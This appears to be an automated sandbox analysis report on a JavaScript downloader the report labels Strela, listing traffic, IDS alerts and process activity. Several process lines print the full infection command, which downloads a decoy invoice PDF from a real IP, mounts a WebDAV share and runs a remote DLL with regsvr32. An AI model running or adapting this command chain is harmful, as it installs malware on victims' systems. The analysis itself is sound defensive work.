35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49700 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49700

Source: global traffic

TCP traffic: 192.168.2.7:49700 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.7:49699 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.1236024762.0000026E538CB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 0000000C.00000002.1296652428.000002AE64704000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1296862332.000002AE64720000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 0000000C.00000003.1294002796.000002AE64704000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1296652428.000002AE64704000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/.
Source: net.exe, 0000000C.00000003.1294002796.000002AE64704000.00000004.00000020.00020000.00000000.sdmp, net.exe, 0000000C.00000002.1296652428.000002AE64704000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/R
Source: svchost.exe, 0000000E.00000002.2515119029.0000025086200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.13.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.14.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.14.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.13.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.14.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000E.00000003.1286587943.0000025085F90000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.14.dr, edb.log.14.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.14.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.10.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6536, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\894183187778.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\894183187778.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2387315401298627745.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/59@6/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6012:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_e2n1k2bk.4d3.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2387315401298627745.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\894183187778.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1608,i,13700895325727442349,3892302688026837991,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\894183187778.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1608,i,13700895325727442349,3892302688026837991,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
